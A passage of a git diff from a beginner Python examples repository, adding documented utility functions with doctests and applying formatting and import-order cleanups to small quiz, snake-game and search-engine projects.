+ Args:
+ head: Head node of the list.
+
+ Returns:
+ New head of the reversed list.
+
+ Examples:
+ >>> head = Node(1); head.next = Node(2); head.next.next = Node(3)
+ >>> new = reverse_linked_list_recursive(head)
+ >>> new.data, new.next.data, new.next.next.data
+ (3, 2, 1)
+ """
+ if head is None or head.next is None:
+ return head
+ new_head = reverse_linked_list_recursive(head.next)
+ head.next.next = head
+ head.next = None
+ return new_head
+
+
+# ---------- 4. Reverse Linked List (Iterative) ----------
+def reverse_linked_list_iterative(head: Optional[Node]) -> Optional[Node]:
+ """
+ Reverse a singly linked list iteratively.
+
+ Args:
+ head: Head node.
+
+ Returns:
+ New head of the reversed list.
+
+ Examples:
+ >>> head = Node(10); head.next = Node(20)
+ >>> new = reverse_linked_list_iterative(head)
+ >>> new.data, new.next.data
+ (20, 10)
+ """
+ prev = None
+ curr = head
+ while curr is not None:
+ nxt = curr.next
+ curr.next = prev
+ prev = curr
+ curr = nxt
+ return prev
+
+
+# ---------- 5. Factorial ----------
+def factorial(n: int) -> int:
+ """
+ Compute the factorial of n (n!) using an iterative method.
+
+ Args:
+ n: Non-negative integer.
+
+ Returns:
+ n! (0! = 1).
+
+ Raises:
+ ValueError: If n is negative.
+
+ Examples:
+ >>> factorial(5)
+ 120
+ >>> factorial(0)
+ 1
+ """
+ if n < 0:
+ raise ValueError("n must be >= 0")
+ if n <= 1:
+ return 1
+ result = 1
+ for i in range(2, n + 1):
+ result *= i
+ return result
+
+
+# ---------- 6. Square Root ----------
+def sqrt(num: float) -> float:
+ """
+ Compute the square root of a non-negative number.
+
+ Args:
+ num: Non-negative float or int.
+
+ Returns:
+ The square root.
+
+ Raises:
+ ValueError: If num is negative.
+
+ Examples:
+ >>> sqrt(9.0)
+ 3.0
+ >>> sqrt(2)
+ 1.4142135623730951
+ """
+ if num < 0:
+ raise ValueError("Cannot compute square root of negative number")
+ return math.sqrt(num)
+
+
+# ---------- 7. Product of unique prime factors (SymPy accelerated) ----------
+def product_of_unique_prime_factors(n: int) -> int:
+ """
+ Compute the product of distinct prime factors of n.
+
+ This function uses SymPy's primefactors for fast computation.
+
+ Args:
+ n: Positive integer.
+
+ Returns:
+ Product of unique prime factors.
+
+ Raises:
+ ValueError: If n < 1.
+
+ Examples:
+ >>> product_of_unique_prime_factors(44)
+ 22
+ >>> product_of_unique_prime_factors(12)
+ 6
+ """
+ if n < 1:
+ raise ValueError("n must be >= 1")
+ prod = 1
+ for p in primefactors(n):
+ prod *= p
+ return prod
+
+
+# ---------- 8. Tower of Hanoi ----------
+def tower_of_hanoi(n: int, source: str, dest: str, aux: str) -> None:
+ """
+ Solve the Tower of Hanoi puzzle and print the moves.
+
+ Args:
+ n: Number of disks.
+ source: Name of source peg.
+ dest: Name of destination peg.
+ aux: Name of auxiliary peg.
+
+ Examples:
+ >>> tower_of_hanoi(1, 'A', 'B', 'C')
+ Move disk 1 from source A to destination B
+ """
+ if n == 1:
+ print(f"Move disk 1 from source {source} to destination {dest}")
+ return
+ tower_of_hanoi(n - 1, source, aux, dest)
+ print(f"Move disk {n} from source {source} to destination {dest}")
+ tower_of_hanoi(n - 1, aux, dest, source)
+
+
+# ---------- 9. Count vowels ----------
+def count_vowels(text: str) -> Dict[str, int]:
+ """
+ Count the occurrences of each vowel (a, e, i, o, u) in a string.
+
+ Args:
+ text: Input string.
+
+ Returns:
+ Dictionary with vowels as keys and counts as values.
+
+ Examples:
+ >>> count_vowels("Hello World")
+ {'a': 0, 'e': 1, 'i': 0, 'o': 2, 'u': 0}
+ """
+ vowels = "aeiou"
+ text_lower = text.lower()
+ count = {v: 0 for v in vowels}
+ for ch in text_lower:
+ if ch in count:
+ count[ch] += 1
+ return count
+
+
+# ---------- 10. Least Common Multiple (LCM) ----------
+def lcm(a: int, b: int) -> int:
+ """
+ Compute the least common multiple of two positive integers.
+
+ Args:
+ a, b: Positive integers.
+
+ Returns:
+ LCM of a and b.
+
+ Raises:
+ ValueError: If either is <= 0.
+
+ Examples:
+ >>> lcm(54, 24)
+ 216
+ >>> lcm(7, 3)
+ 21
+ """
+ if a <= 0 or b <= 0:
+ raise ValueError("Both arguments must be positive")
+ return abs(a * b) // math.gcd(a, b)
+
+
+# ---------- 11. Fibonacci (Recursive) ----------
+def fibonacci_recursive(n: int) -> int:
+ """
+ Return the n-th Fibonacci number (0-indexed) recursively.
+
+ Args:
+ n: Non-negative integer.
+
+ Returns:
+ Fibonacci number F(n) with F(0)=0, F(1)=1.
+
+ Raises:
+ ValueError: If n < 0.
+
+ Examples:
+ >>> fibonacci_recursive(0)
+ 0
+ >>> fibonacci_recursive(6)
+ 8
+ """
+ if n < 0:
+ raise ValueError("n must be >= 0")
+ if n <= 1:
+ return n
+ return fibonacci_recursive(n - 1) + fibonacci_recursive(n - 2)
+
+
+# ---------- 12. Fibonacci Sequence (Iterative) ----------
+def fibonacci_sequence(n: int) -> List[int]:
+ """
+ Generate the first n Fibonacci numbers (starting from F(0)=0).
+
+ Args:
+ n: Number of terms (n >= 0).
+
+ Returns:
+ List of the first n Fibonacci numbers.
+
+ Raises:
+ ValueError: If n < 0.
+
+ Examples:
+ >>> fibonacci_sequence(5)
+ [0, 1, 1, 2, 3]
+ >>> fibonacci_sequence(1)
+ [0]
+ """
+ if n < 0:
+ raise ValueError("n must be >= 0")
+ if n == 0:
+ return []
+ seq = [0] * n
+ if n > 1:
+ seq[1] = 1
+ for i in range(2, n):
+ seq[i] = seq[i - 1] + seq[i - 2]
+ return seq
+
+
+# ---------- 13. Mail Merger ----------
+def mail_merge(names_file: str, body_file: str, output_prefix: str = "mail_") -> None:
+ """
+ Merge names from a file with a mail body template and write individual mail files.
+
+ Args:
+ names_file: Path to file with one name per line.
+ body_file: Path to file containing the mail body (with placeholders).
+ output_prefix: Prefix for output filenames.
+
+ The body file can contain a placeholder like {name} which will be replaced.
+ If no placeholder, the name is prepended as "Hello " line.
+
+ Examples:
+ Assuming names.txt contains "Alice\\nBob" and body.txt contains "Welcome!",
+ this will create mail_Alice.txt and mail_Bob.txt.
+ """
+ try:
+ with open(names_file, "r", encoding="utf-8") as nf:
+ names = [line.strip() for line in nf if line.strip()]
+ with open(body_file, "r", encoding="utf-8") as bf:
+ body_template = bf.read()
+ except FileNotFoundError as e:
+ print(f"Error: {e}", file=sys.stderr)
+ return
+
+ for name in names:
+ mail_body = body_template.replace("{name}", name)
+ if "{name}" not in body_template:
+ mail_body = f"Hello {name}\n{body_template}"
+ with open(f"{output_prefix}{name}.txt", "w", encoding="utf-8") as mf:
+ mf.write(mail_body)
+
+
+# ---------- 14. Remove Punctuation ----------
+def remove_punctuation(text: str) -> str:
+ """
+ Remove all punctuation characters from a string.
+
+ Punctuation defined as: !"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~
+
+ Args:
+ text: Input string.
+
+ Returns:
+ String without punctuation.
+
+ Examples:
+ >>> remove_punctuation("Hello!!!, he said ---and went.")
+ 'Hello he said and went'
+ """
+ import string
+
+ return "".join(ch for ch in text if ch not in string.punctuation)
+
+
+# ---------- 15. Sort Words Alphabetically ----------
+def sort_words(text: str) -> Dict[int, str]:
+ """
+ Sort all words in a string alphabetically, remove duplicates, and return
+ a dictionary mapping sequential numbers to each unique word.
+
+ Args:
+ text: Input string (punctuation removed automatically).
+
+ Returns:
+ Dictionary {1: first_word, 2: second_word, ...}.
+
+ Examples:
+ >>> sort_words("Hello world hello")
+ {1: 'hello', 2: 'world'}
+ """
+ cleaned = remove_punctuation(text).lower()
+ words = cleaned.split()
+ seen = set()
+ unique_sorted = []
+ for word in sorted(words):
+ if word not in seen:
+ seen.add(word)
+ unique_sorted.append(word)
+ return {i + 1: word for i, word in enumerate(unique_sorted)}
+
+
+# ---------- 16. Transpose Matrix ----------
+def transpose_matrix(matrix: List[List[int]]) -> List[List[int]]:
+ """
+ Transpose a 2D matrix (list of lists).
+
+ Args:
+ matrix: A rectangular matrix.
+
+ Returns:
+ Transposed matrix.
+
+ Examples:
+ >>> transpose_matrix([[12, 7], [4, 5], [3, 8]])
+ [[12, 4, 3], [7, 5, 8]]
+ """
+ if not matrix:
+ return []
+ rows, cols = len(matrix), len(matrix[0])
+ return [[matrix[r][c] for r in range(rows)] for c in range(cols)]
+
+
+# ---------- Demo / Test ----------
+if __name__ == "__main__":
+ import doctest
+
+ doctest.testmod(verbose=True)
diff --git a/Python Programs/python program for finding square root for positive number.py b/Python Programs/python program for finding square root for positive number.py
deleted file mode 100644
index 2a2a2dc79b9..00000000000
--- a/Python Programs/python program for finding square root for positive number.py
+++ /dev/null
@@ -1,10 +0,0 @@
-# Python Program to calculate the square root
-
-# Note: change this value for a different result
-num = 8
-
-# To take the input from the user
-# num = float(input('Enter a number: '))
-
-num_sqrt = num**0.5
-print("The square root of %0.3f is %0.3f" % (num, num_sqrt))
diff --git a/Python Voice Generator.py b/Python Voice Generator.py
index 10207a9ca0d..a72f90d6ab0 100644
--- a/Python Voice Generator.py
+++ b/Python Voice Generator.py
@@ -1,7 +1,8 @@
# install and import google text-to-speech library gtts
-from gtts import gTTS
import os
+from gtts import gTTS
+
# provide user input text
text = input("enter the text: ")
# covert text into voice
diff --git a/Python_swapping.py b/Python_swapping.py
index 1822f2f1bc3..a740662acf0 100644
--- a/Python_swapping.py
+++ b/Python_swapping.py
@@ -1,6 +1,7 @@
# Python3 program to swap first
# and last element of a list
+
# Swap function
def swapList(newList):
size = len(newList)
diff --git a/QR_code_generator/qrcode.py b/QR_code_generator/qrcode.py
index 51a48b692b9..4965d331cdb 100755
--- a/QR_code_generator/qrcode.py
+++ b/QR_code_generator/qrcode.py
@@ -1,4 +1,5 @@
import pyqrcode
+
# from pyqrcode import QRCode
# no need to import same library again and again
diff --git a/QuestionAnswerVirtualAssistant/backend.py b/QuestionAnswerVirtualAssistant/backend.py
index 3746a93cb69..5dd5711fa12 100644
--- a/QuestionAnswerVirtualAssistant/backend.py
+++ b/QuestionAnswerVirtualAssistant/backend.py
@@ -1,5 +1,6 @@
-import sqlite3
import json
+import sqlite3
+
import pandas as pd
from sklearn.feature_extraction.text import TfidfVectorizer
diff --git a/QuestionAnswerVirtualAssistant/frontend.py b/QuestionAnswerVirtualAssistant/frontend.py
index 216568bacc5..6bfe3d2db71 100644
--- a/QuestionAnswerVirtualAssistant/frontend.py
+++ b/QuestionAnswerVirtualAssistant/frontend.py
@@ -1,4 +1,5 @@
from tkinter import *
+
import backend
diff --git a/Quizzler Using Tkinter and Trivia DB API/data_dynamic.py b/Quizzler Using Tkinter and Trivia DB API/data_dynamic.py
index df3e705cbc0..b34c85937b1 100644
--- a/Quizzler Using Tkinter and Trivia DB API/data_dynamic.py
+++ b/Quizzler Using Tkinter and Trivia DB API/data_dynamic.py
@@ -1,20 +1,17 @@
-
-'''
+"""
This file is responsible for fetching quiz questions from the Open Trivia Database API.
-'''
+"""
import requests
-parameters = {
- "amount": 10,
- "type": "multiple",
- "category": 18
-}
+parameters = {"amount": 10, "type": "multiple", "category": 18}
error_message = ""
try:
- response = requests.get(url="https://opentdb.com/api.php", params=parameters, timeout=10)
+ response = requests.get(
+ url="https://opentdb.com/api.php", params=parameters, timeout=10
+ )
response.raise_for_status() # Raise an exception for HTTP errors
question_data = response.json()["results"]
print("Questions loaded successfully from the API.")
diff --git a/Quizzler Using Tkinter and Trivia DB API/data_static.py b/Quizzler Using Tkinter and Trivia DB API/data_static.py
index 081bc3982a2..5ea00107aca 100644
--- a/Quizzler Using Tkinter and Trivia DB API/data_static.py
+++ b/Quizzler Using Tkinter and Trivia DB API/data_static.py
@@ -5,8 +5,8 @@
"incorrect_answers": [
"Increase in hardware prices",
"Decrease in computational power",
- "Less complex problems for software engineers"
- ]
+ "Less complex problems for software engineers",
+ ],
},
{
"question": "How have software engineers coped with the challenges of increasing computational capabilities?",
@@ -14,8 +14,8 @@
"incorrect_answers": [
"By reducing programming efforts",
"By simplifying programming languages",
- "By avoiding large and complex problems"
- ]
+ "By avoiding large and complex problems",
+ ],
},
{
"question": "Which of the following is a definition of software engineering according to IEEE?",
@@ -23,8 +23,8 @@
"incorrect_answers": [
"The art of writing computer programs",
"An engineering approach to developing software",
- "A collection of unorganized programming techniques"
- ]
+ "A collection of unorganized programming techniques",
+ ],
},
{
"question": "Why is software engineering similar to other engineering disciplines?",
@@ -32,8 +32,8 @@
"incorrect_answers": [
"It makes use of subjective judgement and ill understood principles",
"It often avoids conflicting goals",
- "It relies solely on qualitative attributes"
- ]
+ "It relies solely on qualitative attributes",
+ ],
},
{
"question": "Which statement supports the idea that software engineering is not just an art?",
@@ -41,8 +41,8 @@
"incorrect_answers": [
"It makes subjective judgement based on qualitative attributes",
"It avoids systematic and disciplined approaches",
- "It does not require tradeoffs in problem solving"
- ]
+ "It does not require tradeoffs in problem solving",
+ ],
},
{
"question": "How have software engineering principles evolved over the last sixty years?",
@@ -50,17 +50,13 @@
"incorrect_answers": [
"From a science to an art form",
"From a craft to an art form",
- "From an engineering discipline to a craft"
- ]
+ "From an engineering discipline to a craft",
+ ],
},
{
"question": "Which programming style is characterized by quickly developing a program without any specification, plan, or design?",
"correct_answer": "Build and fix",
- "incorrect_answers": [
- "Exploratory",
- "Code and fix",
- "Ad hoc"
- ]
+ "incorrect_answers": ["Exploratory", "Code and fix", "Ad hoc"],
},
{
"question": "According to the text, what has been a symptom of the present software crisis?",
@@ -68,8 +64,8 @@
"incorrect_answers": [
"Decrease in software development costs",
"Software products becoming easier to alter and debug",
- "Software products being delivered on time"
- ]
+ "Software products being delivered on time",
+ ],
},
{
"question": "What is one of the main benefits of adopting software engineering techniques according to the text?",
@@ -77,8 +73,8 @@
"incorrect_answers": [
"Increasing hardware costs",
"Avoiding the use of scientific principles",
- "Making software development more subjective"
- ]
+ "Making software development more subjective",
+ ],
},
{
"question": "What is a key characteristic of toy software?",
@@ -86,9 +82,9 @@
"incorrect_answers": [
"Developed by a team of professionals",
"Large in size and highly complex",
- "Thoroughly tested and maintained"
- ]
- }
+ "Thoroughly tested and maintained",
+ ],
+ },
# {
# "question": "What differentiates professional software from toy software?",
# "correct_answer": "Professional software is systematically designed, carefully implemented, and thoroughly tested",
@@ -188,4 +184,4 @@
# "Data flow-oriented design"
# ]
# }
-]
\ No newline at end of file
+]
diff --git a/Quizzler Using Tkinter and Trivia DB API/main.py b/Quizzler Using Tkinter and Trivia DB API/main.py
index 37a038c5d60..e5b8a6b04b8 100644
--- a/Quizzler Using Tkinter and Trivia DB API/main.py
+++ b/Quizzler Using Tkinter and Trivia DB API/main.py
@@ -1,8 +1,7 @@
-
"""This file processes the fetched questions and prepares them for use in the quiz."""
-from question_model import Question
from data_dynamic import question_data
+from question_model import Question
from quiz_brain import QuizBrain
from ui import QuizInterface
@@ -18,7 +17,7 @@
Question(
question["question"],
question["correct_answer"],
- question["incorrect_answers"] + [question["correct_answer"]]
+ question["incorrect_answers"] + [question["correct_answer"]],
)
for question in question_data
]
diff --git a/Quizzler Using Tkinter and Trivia DB API/quiz_brain.py b/Quizzler Using Tkinter and Trivia DB API/quiz_brain.py
index 53bcf178931..95212861a79 100644
--- a/Quizzler Using Tkinter and Trivia DB API/quiz_brain.py
+++ b/Quizzler Using Tkinter and Trivia DB API/quiz_brain.py
@@ -1,8 +1,8 @@
-
"""This file contains the logic that drives the quiz game, including managing the current question, checking answers, and tracking the score."""
import html
+
class QuizBrain:
def __init__(self, q_list):
self.question_number = 0
diff --git a/Quizzler Using Tkinter and Trivia DB API/ui.py b/Quizzler Using Tkinter and Trivia DB API/ui.py
index 42102c20fac..268881bd62c 100644
--- a/Quizzler Using Tkinter and Trivia DB API/ui.py
+++ b/Quizzler Using Tkinter and Trivia DB API/ui.py
@@ -1,9 +1,9 @@
-
"""This file manages the graphical user interface of the quiz, using Tkinter to display questions, answer options, and the score to the user."""
from tkinter import *
-from quiz_brain import QuizBrain
+
from data_dynamic import error_message
+from quiz_brain import QuizBrain
# Normal screen
BACKGROUND = "#608BC1"
@@ -22,20 +22,29 @@
FONT = ("Lucida sans", 20)
-class QuizInterface:
+class QuizInterface:
def __init__(self, quiz_brain: QuizBrain):
self.quiz = quiz_brain
self.window = Tk()
self.window.title("Quizzler")
self.window.config(padx=20, pady=20, bg=BACKGROUND)
- self.score_label = Label(text="Score: 0", fg="white", bg=BACKGROUND, font=("Lucida sans", 15, "bold"))
+ self.score_label = Label(
+ text="Score: 0", fg="white", bg=BACKGROUND, font=("Lucida sans", 15, "bold")
+ )
self.score_label.grid(row=0, column=1)
self.canvas = Canvas(width=1000, height=550, bg=CANVAS)
self.question_text = self.canvas.create_text(
- 500, 100, width=800, text="Some question text", fill=TEXT, font=FONT, anchor="center", justify="center"
+ 500,
+ 100,
+ width=800,
+ text="Some question text",
+ fill=TEXT,
+ font=FONT,
+ anchor="center",
+ justify="center",
)
self.canvas.grid(row=1, column=0, columnspan=2, pady=50)
@@ -59,8 +68,16 @@ def create_radio_buttons(self):
y_position = 230
for i in range(4):
radio_button = Radiobutton(
- self.canvas, text="", variable=self.opt_selected, value=i + 1, font=FONT, bg=CANVAS, anchor="w",
- justify="left", fg=TEXT, wraplength=900
+ self.canvas,
+ text="",
+ variable=self.opt_selected,
+ value=i + 1,
+ font=FONT,
+ bg=CANVAS,
+ anchor="w",
+ justify="left",
+ fg=TEXT,
+ wraplength=900,
)
radio_buttons.append(radio_button)
self.canvas.create_window(50, y_position, window=radio_button, anchor="w")
diff --git a/Recursion Visulaizer/recursionVisualizer.py b/Recursion Visulaizer/recursionVisualizer.py
index 4ecc495e628..8c948da0f78 100644
--- a/Recursion Visulaizer/recursionVisualizer.py
+++ b/Recursion Visulaizer/recursionVisualizer.py
@@ -1,5 +1,5 @@
-import turtle
import random
+import turtle
t = turtle.Turtle()
num = random.randint(1, 1000)
diff --git a/Sanke-water-gun game.py b/Sanke-water-gun game.py
index 5f21277f15c..0791cd24db7 100644
--- a/Sanke-water-gun game.py
+++ b/Sanke-water-gun game.py
@@ -31,7 +31,6 @@
import time
from typing import Dict
-
CHOICES: Dict[str, str] = {"s": "Snake", "w": "Water", "g": "Gun"}
diff --git a/Search_Engine/backend.py b/Search_Engine/backend.py
index 2c4f730b914..9718deb80fb 100644
--- a/Search_Engine/backend.py
+++ b/Search_Engine/backend.py
@@ -1,5 +1,5 @@
-import sqlite3
import json
+import sqlite3
class SearchEngine:
diff --git a/Search_Engine/frontend.py b/Search_Engine/frontend.py
index 11905bf9d05..3e0eeaea013 100644
--- a/Search_Engine/frontend.py
+++ b/Search_Engine/frontend.py
@@ -1,4 +1,5 @@
from tkinter import *
+
import backend
diff --git a/Shortest Distance between Two Lines.py b/Shortest Distance between Two Lines.py
index b60b339acda..764380981a8 100644
--- a/Shortest Distance between Two Lines.py
+++ b/Shortest Distance between Two Lines.py
@@ -1,4 +1,5 @@
import math
+
import numpy as NP
LC1 = eval(input("Enter DRs of Line 1 : "))
diff --git a/Snake Game Using Turtle/colors.py b/Snake Game Using Turtle/colors.py
index 05fac02e5a2..9b4d6ab1db2 100644
--- a/Snake Game Using Turtle/colors.py
+++ b/Snake Game Using Turtle/colors.py
@@ -2,27 +2,27 @@
This file contains the color palette for the game, now including
colors for the new interactive buttons.
"""
+
# A fresh and vibrant color theme
# --> food.py
FOOD_COLOR = "#C70039" # A bright, contrasting red
# --> main.py
-BG_COLOR = '#F0F8FF' # AliceBlue, a very light and clean background
+BG_COLOR = "#F0F8FF" # AliceBlue, a very light and clean background
# --> scoreboard.py
-GAME_OVER_COLOR = '#D21312' # Strong red for game over message
-SCORE_COLOR = '#27374D' # Dark blue for high-contrast text
-MESSAGE_COLOR = '#27374D' # Consistent dark blue for other messages
+GAME_OVER_COLOR = "#D21312" # Strong red for game over message
+SCORE_COLOR = "#27374D" # Dark blue for high-contrast text
+MESSAGE_COLOR = "#27374D" # Consistent dark blue for other messages
# --> snake.py
-FIRST_SEGMENT_COLOR = '#006400' # DarkGreen for the snake's head
-BODY_COLOR = '#2E8B57' # SeaGreen for the snake's body
+FIRST_SEGMENT_COLOR = "#006400" # DarkGreen for the snake's head
+BODY_COLOR = "#2E8B57" # SeaGreen for the snake's body
# --> wall.py
-WALL_COLOR = '#27374D' # Dark blue for a solid, visible border
+WALL_COLOR = "#27374D" # Dark blue for a solid, visible border
# --> UI Controls (Buttons)
BUTTON_BG_COLOR = "#526D82"
BUTTON_TEXT_COLOR = "#F0F8FF"
BUTTON_BORDER_COLOR = "#27374D"
-
diff --git a/Snake Game Using Turtle/food.py b/Snake Game Using Turtle/food.py
index 59dcd5eb740..b824ffedda1 100644
--- a/Snake Game Using Turtle/food.py
+++ b/Snake Game Using Turtle/food.py
@@ -3,12 +3,15 @@
by the main game logic to ensure it spawns within the correct boundaries.
"""
-from turtle import Turtle
import random
+from turtle import Turtle
+
import colors
+
class Food(Turtle):
- """ This class generates food for the snake to eat. """
+ """This class generates food for the snake to eat."""
+
def __init__(self):
super().__init__()
self.shape("circle")
@@ -24,4 +27,3 @@ def refresh(self, left_wall, right_wall, bottom_wall, top_wall):
random_x = random.randint(int(left_wall) + margin, int(right_wall) - margin)
random_y = random.randint(int(bottom_wall) + margin, int(top_wall) - margin)
self.goto(random_x, random_y)
-
diff --git a/Snake Game Using Turtle/main.py b/Snake Game Using Turtle/main.py
index 9b874f1a3df..cf3b5e6da7f 100644
--- a/Snake Game Using Turtle/main.py
+++ b/Snake Game Using Turtle/main.py
@@ -3,12 +3,15 @@
It handles screen setup, dynamic boundaries, UI controls (buttons),
game state management, and the main game loop.
"""
+
from turtle import Screen, Turtle
-from snake import Snake
+
from food import Food
from scoreboard import Scoreboard
from wall import Wall
+
import colors
+from snake import Snake
# --- CONSTANTS ---
MOVE_DELAY_MS = 100 # Game speed in milliseconds
@@ -43,17 +46,18 @@
# --- UI CONTROLS (BUTTONS) ---
buttons = {} # Dictionary to hold button turtles and their properties
+
def create_button(name, x, y, width=120, height=40):
"""Creates a turtle-based button with a label."""
- if name in buttons and buttons[name]['turtle'] is not None:
- buttons[name]['turtle'].clear()
+ if name in buttons and buttons[name]["turtle"] is not None:
+ buttons[name]["turtle"].clear()
button_turtle = Turtle()
button_turtle.hideturtle()
button_turtle.penup()
button_turtle.speed("fastest")
- button_turtle.goto(x - width/2, y - height/2)
+ button_turtle.goto(x - width / 2, y - height / 2)
button_turtle.color(colors.BUTTON_BORDER_COLOR, colors.BUTTON_BG_COLOR)
button_turtle.begin_fill()
for _ in range(2):
@@ -67,13 +71,22 @@ def create_button(name, x, y, width=120, height=40):
button_turtle.color(colors.BUTTON_TEXT_COLOR)
button_turtle.write(name, align="center", font=("Lucida Sans", 14, "bold"))
- buttons[name] = {'turtle': button_turtle, 'x': x, 'y': y, 'w': width, 'h': height, 'visible': True}
+ buttons[name] = {
+ "turtle": button_turtle,
+ "x": x,
+ "y": y,
+ "w": width,
+ "h": height,
+ "visible": True,
+ }
+
def hide_button(name):
"""Hides a button by clearing its turtle."""
- if name in buttons and buttons[name]['visible']:
- buttons[name]['turtle'].clear()
- buttons[name]['visible'] = False
+ if name in buttons and buttons[name]["visible"]:
+ buttons[name]["turtle"].clear()
+ buttons[name]["visible"] = False
+
def manage_buttons():
"""Shows or hides buttons based on the current game state."""
@@ -93,6 +106,7 @@ def manage_buttons():
elif game_state == "game_over":
create_button("Restart", btn_x, btn_y)
+
# --- GAME LOGIC & STATE TRANSITIONS ---
def start_game():
global game_state
@@ -100,6 +114,7 @@ def start_game():
game_state = "playing"
scoreboard.update_scoreboard()
+
def toggle_pause_resume():
global game_state
if game_state == "playing":
@@ -109,6 +124,7 @@ def toggle_pause_resume():
game_state = "playing"
scoreboard.update_scoreboard()
+
def restart_game():
global game_state
if game_state == "game_over":
@@ -117,14 +133,18 @@ def restart_game():
food.refresh(LEFT_WALL, RIGHT_WALL, BOTTOM_WALL, TOP_WALL)
scoreboard.reset()
+
def is_click_on_button(name, x, y):
"""Checks if a click (x, y) is within the bounds of a visible button."""
- if name in buttons and buttons[name]['visible']:
+ if name in buttons and buttons[name]["visible"]:
btn = buttons[name]
- return (btn['x'] - btn['w']/2 < x < btn['x'] + btn['w']/2 and
- btn['y'] - btn['h']/2 < y < btn['y'] + btn['h']/2)
+ return (
+ btn["x"] - btn["w"] / 2 < x < btn["x"] + btn["w"] / 2
+ and btn["y"] - btn["h"] / 2 < y < btn["y"] + btn["h"] / 2
+ )
return False
+
def handle_click(x, y):
"""Main click handler to delegate actions based on button clicks."""
if game_state == "start" and is_click_on_button("Play", x, y):
@@ -136,24 +156,32 @@ def handle_click(x, y):
elif game_state == "game_over" and is_click_on_button("Restart", x, y):
restart_game()
+
# --- KEYBOARD HANDLERS ---
def handle_snake_up():
if game_state in ["start", "playing"]:
start_game()
snake.up()
+
+
def handle_snake_down():
if game_state in ["start", "playing"]:
start_game()
snake.down()
+
+
def handle_snake_left():
if game_state in ["start", "playing"]:
start_game()
snake.left()
+
+
def handle_snake_right():
if game_state in ["start", "playing"]:
start_game()
snake.right()
+
# --- KEY & MOUSE BINDINGS ---
screen.listen()
screen.onkey(handle_snake_up, "Up")
@@ -165,6 +193,7 @@ def handle_snake_right():
screen.onkey(restart_game, "R")
screen.onclick(handle_click)
+
# --- MAIN GAME LOOP ---
def game_loop():
global game_state
@@ -176,7 +205,10 @@ def game_loop():
snake.extend()
scoreboard.increase_score()
# Collision with wall
- if not (LEFT_WALL < snake.head.xcor() < RIGHT_WALL and BOTTOM_WALL < snake.head.ycor() < TOP_WALL):
+ if not (
+ LEFT_WALL < snake.head.xcor() < RIGHT_WALL
+ and BOTTOM_WALL < snake.head.ycor() < TOP_WALL
+ ):
game_state = "game_over"
scoreboard.game_over()
# Collision with tail
@@ -188,8 +220,8 @@ def game_loop():
screen.update()
screen.ontimer(game_loop, MOVE_DELAY_MS)
+
# --- INITIALIZE GAME ---
scoreboard.display_start_message()
game_loop()
screen.exitonclick()
-
diff --git a/Snake Game Using Turtle/scoreboard.py b/Snake Game Using Turtle/scoreboard.py
index 4ca9265071c..a860ca40d8d 100644
--- a/Snake Game Using Turtle/scoreboard.py
+++ b/Snake Game Using Turtle/scoreboard.py
@@ -2,7 +2,9 @@
This file manages the display of the score, high score, and game messages.
It now positions the score dynamically in the top-left corner.
"""
-from turtle import Turtle, Screen
+
+from turtle import Screen, Turtle
+
import colors
# Constants for styling and alignment
@@ -11,8 +13,10 @@
MESSAGE_FONT = ("Courier", 40, "bold")
INSTRUCTION_FONT = ("Lucida Sans", 16, "normal")
+
class Scoreboard(Turtle):
- """ This class maintains the scoreboard, high score, and game messages. """
+ """This class maintains the scoreboard, high score, and game messages."""
+
def __init__(self):
super().__init__()
self.screen = Screen() # Get access to the screen object
@@ -27,7 +31,7 @@ def load_high_score(self):
try:
with open("highscore.txt", mode="r") as file:
return int(file.read())
- except (FileNotFoundError, ValueError):
+ except FileNotFoundError, ValueError:
return 0
def update_scoreboard(self):
@@ -38,7 +42,11 @@ def update_scoreboard(self):
x_pos = -self.screen.window_width() / 2 + 30
y_pos = self.screen.window_height() / 2 - 60
self.goto(x_pos, y_pos)
- self.write(f"Score: {self.score} | High Score: {self.high_score}", align=ALIGNMENT, font=SCORE_FONT)
+ self.write(
+ f"Score: {self.score} | High Score: {self.high_score}",
+ align=ALIGNMENT,
+ font=SCORE_FONT,
+ )
def increase_score(self):
"""Increases score and updates the display."""
@@ -60,7 +68,9 @@ def game_over(self):
self.color(colors.GAME_OVER_COLOR)
self.write("GAME OVER", align="center", font=MESSAGE_FONT)
self.goto(0, -40)
- self.write("Click 'Restart' or Press 'R'", align="center", font=INSTRUCTION_FONT)
+ self.write(
+ "Click 'Restart' or Press 'R'", align="center", font=INSTRUCTION_FONT
+ )
def display_pause(self):
"""Displays the PAUSED message."""
@@ -68,13 +78,18 @@ def display_pause(self):
self.color(colors.MESSAGE_COLOR)
self.write("PAUSED", align="center", font=MESSAGE_FONT)
self.goto(0, -40)
- self.write("Click 'Resume' or Press 'Space'", align="center", font=INSTRUCTION_FONT)
-
+ self.write(
+ "Click 'Resume' or Press 'Space'", align="center", font=INSTRUCTION_FONT
+ )
+
def display_start_message(self):
"""Displays the welcome message and starting instructions."""
self.goto(0, 40)
self.color(colors.MESSAGE_COLOR)
self.write("SNAKE GAME", align="center", font=MESSAGE_FONT)
self.goto(0, -40)
- self.write("Click 'Play' or an Arrow Key to Start", align="center", font=INSTRUCTION_FONT)
-
+ self.write(
+ "Click 'Play' or an Arrow Key to Start",
+ align="center",
+ font=INSTRUCTION_FONT,
+ )
diff --git a/Snake Game Using Turtle/snake.py b/Snake Game Using Turtle/snake.py
index e9fb153c317..8101fe85275 100644
--- a/Snake Game Using Turtle/snake.py
+++ b/Snake Game Using Turtle/snake.py
@@ -2,28 +2,32 @@
This file is responsible for creating the snake and managing its movement,
extension, and reset functionality.
"""
+
from turtle import Turtle
+
import colors
STARTING_POSITIONS = [(0, 0), (-20, 0), (-40, 0)]
MOVE_DISTANCE = 20
UP, DOWN, LEFT, RIGHT = 90, 270, 180, 0
+
class Snake:
- """ This class creates a snake body and contains methods for movement and extension. """
+ """This class creates a snake body and contains methods for movement and extension."""
+
def __init__(self):
self.segments = []
self.create_snake()
self.head = self.segments[0]
def create_snake(self):
- """ Creates the initial snake body. """
+ """Creates the initial snake body."""
for position in STARTING_POSITIONS:
self.add_segment(position)
self.segments[0].color(colors.FIRST_SEGMENT_COLOR)
def add_segment(self, position):
- """ Adds a new segment to the snake. """
+ """Adds a new segment to the snake."""
new_segment = Turtle(shape="square")
new_segment.penup()
new_segment.goto(position)
@@ -31,12 +35,12 @@ def add_segment(self, position):
self.segments.append(new_segment)
def extend(self):
- """ Adds a new segment to the snake's tail. """
+ """Adds a new segment to the snake's tail."""
self.add_segment(self.segments[-1].position())
